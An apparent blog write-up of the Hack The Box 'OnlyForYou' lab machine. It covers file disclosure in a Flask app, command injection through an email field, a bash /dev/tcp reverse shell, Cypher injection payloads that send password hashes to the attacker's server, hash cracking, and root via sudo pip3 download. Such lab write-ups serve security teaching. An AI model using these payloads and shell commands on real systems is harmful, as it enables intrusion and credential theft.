OnlyForYou Writeup

26 August 2023 #CTF #HTB #box #medium #linux

only4you info

Enumeration

nmap

$ sudo nmap -T4 -sC -sV 10.10.11.210
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e883e0a9fd43df38198aaa35438411ec (RSA)
|   256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_  256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

As seen in the nmap scan we are redirected to http://only4you.htb when accessing the website. Let's try fuzzing to discover other virtual hosts:

$ ffuf -u http://10.10.11.210 -H 'Host: FUZZ.only4you.htb' -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 178
[...]
[Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 193ms]
    * FUZZ: beta
[...]

Cool, we'll add beta.only4you.htb in our /etc/hosts file as well.

On only4you.htb, we get a classic template page:

index

There are a few usernames but other than that, nothing really interesting.

LFI

On beta.only4you.htb, there's a web app to convert and resize images:

beta.only4you.htb

The source code is available. This is a Flask app and the /download endpoint is the most interesting:

[...]
@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image)
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
        if not os.path.isabs(filename):
            filename = os.path.join(app.config['LIST_FOLDER'], filename)
            try:
                if not os.path.isfile(filename):
                    flash('Image doesn\'t exist!', 'danger')
                    return redirect('/list')
                    except (TypeError, ValueError):
    raise BadRequest()
    return send_file(filename, as_attachment=True)
[...]

It protects against directory traversal but if the path is absolute (like /etc/passwd) it will just send us the file:

$ curl -s beta.only4you.htb/download -d 'image=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
[...]

Foothold

With LFI on a web app, it's always a good idea to check out the webserver config. Let's take a look at /etc/nginx/sites-enabled/default:

server {
    listen 80;
    server_name only4you.htb;

    location / {
        include proxy_params;
        proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
    }
}

server {
    listen 80;
    server_name beta.only4you.htb;

    location / {
        include proxy_params;
        proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
    }
}

No new virtual hosts, but we see that only4you.htb is also reverse proxied through a socket (it just means that Flask is listening on a unix socket).

Let's try /var/www/only4you.htb/app.py:

from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr
[...]

It imports a function from form, which is not a standard python module so it must be a file in the same directory (/var/www/only4you.htb/form.py):

import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
    if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
        return 0
    else:
        domain = email.split("@", 1)[1]
        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
        output = result.stdout.decode('utf-8')
        if "v=spf1" not in output:
            return 1
[...]

It's using a regex to validate the email then splits it on the '@' character and runs dig on it.

subprocess.run is used with shell=True so it's basically equivalent to os.system.

The regex is not enclosed with ^ and $ so re.match will only check the beginning of the string. This means that asdf@asdf.com ;curl 10.10.14.10 should work:

command injection

Yep, we get a hit on our nc listener:

$ nc -lnvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.210.
Ncat: Connection from 10.10.11.210:41556.
GET / HTTP/1.1
Host: 10.10.14.10
User-Agent: curl/7.68.0
Accept: */*

From here, we can get a reverse shell with something like bash -c 'bash -i >%26 /dev/tcp/10.10.14.10/443 0>%261' (need to URL encode the & characters).

Privesc

www-data to John

We see a few more services listening locally:

www-data@only4you:~/only4you.htb$ ss -lnt
State      Recv-Q     Send-Q              Local Address:Port            Peer Address:Port
LISTEN     0          151                     127.0.0.1:3306                 0.0.0.0:*
LISTEN     0          511                       0.0.0.0:80                   0.0.0.0:*
LISTEN     0          4096                127.0.0.53%lo:53                   0.0.0.0:*
LISTEN     0          128                       0.0.0.0:22                   0.0.0.0:*
LISTEN     0          4096                    127.0.0.1:3000                 0.0.0.0:*
LISTEN     0          2048                    127.0.0.1:8001                 0.0.0.0:*
LISTEN     0          70                      127.0.0.1:33060                0.0.0.0:*
LISTEN     0          50             [::ffff:127.0.0.1]:7474                       *:*
LISTEN     0          128                          [::]:22                      [::]:*
LISTEN     0          4096           [::ffff:127.0.0.1]:7687                       *:*

For now the one we care about is on port 8001. We need to forward the port to us in order to access it in the browser. We'll use chisel for that.

On our attack VM, set up the chisel server:

$ chisel server -v -p 4242 --reverse
2023/05/11 21:42:43 server: Reverse tunnelling enabled
2023/05/11 21:42:43 server: Fingerprint lR/auTm2y6VkDagBtpSvZSfsn5E7iqP3WEXqMxLz3a0=
2023/05/11 21:42:43 server: Listening on http://0.0.0.0:4242

Upload chisel to the box and forward the port:

www-data@only4you:/dev/shm$ wget 10.10.14.10/chisel ; chmod +x chisel
[...]
www-data@only4you:/dev/shm$ ./chisel client -v 10.10.14.10:4242 R:8001:127.0.0.1:8001
2023/05/11 19:43:07 client: Handshaking...
2023/05/11 19:43:07 client: Sending config
2023/05/11 19:43:08 client: tun: SSH connected

Now we can access this new web app:

custom web app

Trying some common creds, we get in with admin:admin:

admin dashboard

There is a note the dashboard saying that they switched to a neo4j database:

migrated to neo4j

There is another page where we can search for employees:

employees search

Putting a single quote inside this search returns an error:

500 server error

According to the note on the dashboard, we are dealing with a neo4j database which uses the Cypher query language.

hacktricks has a few payloads we can try.

First, we'll try to exfiltrate the labels (the equivalent to tables in SQL):

' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.14.27/?x='+label as l RETURN 0 as _0 //

We're using the LOAD CSV FROM feature to make a request to our box with the data from the query. Make sure to URL encode this payload if you do it in Burp.

After sending the payload, we get 2 requests on our python http server:

$ python -m http.server 80
[...]
10.10.11.210 - - [26/Aug/2023 15:41:26] "GET /?x=user HTTP/1.1" 200 -
10.10.11.210 - - [26/Aug/2023 15:41:27] "GET /?x=employee HTTP/1.1" 200 -

The user label sounds like what we want. Let's dump it using the same technique:

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.27/?'+p+'='+toString(f[p]) as l RETURN 0 as _0 //

(All of these payloads come from hacktricks).

10.10.11.210 - - [26/Aug/2023 15:43:48] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [26/Aug/2023 15:43:48] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [26/Aug/2023 15:43:48] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [26/Aug/2023 15:43:49] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -

We already know the password for admin is "admin", but let's try to crack john's hash:

$ hashcat -m 1400 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 /usr/share/wordlists/rockyou.txt
[...]
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:ThisIs4You
[...]

We can now login as john.

John to root

John can run a command as root:

john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

For all we care about, pip3 download is basically the same as pip3 install. This means that it will execute a file called setup.py.

First, let's forward a local port to access the Gogs instance that's listening on localhost port 3000:

$ ssh john@only4you.htb -L 3000:127.0.0.1:3000
[...]

John's creds (john:ThisIs4You) are reused for the Gogs instance:

gogs instance

Next, create a setup.py in this repo:

create setup.py in gogs repo

We also need to change the repo visibility to public so we can access it from the command line:

change repo visibility to public

And finally download it:

john@only4you:~$ sudo pip3 download http://127.0.0.1:3000/john/Test/archive/master.tar.gz
Collecting http://127.0.0.1:3000/john/Test/archive/master.tar.gz
  Downloading http://127.0.0.1:3000/john/Test/archive/master.tar.gz (315 bytes)
ERROR: Files/directories not found in /tmp/pip-req-build-tg9gpkbm/pip-egg-info

john@only4you:~$ bash -p
bash-5.0# whoami
root
bash-5.0# chmod u-s /bin/bash

Of course, don't forget to restore the permission on /bin/bash after you get root (:

Key Takeaways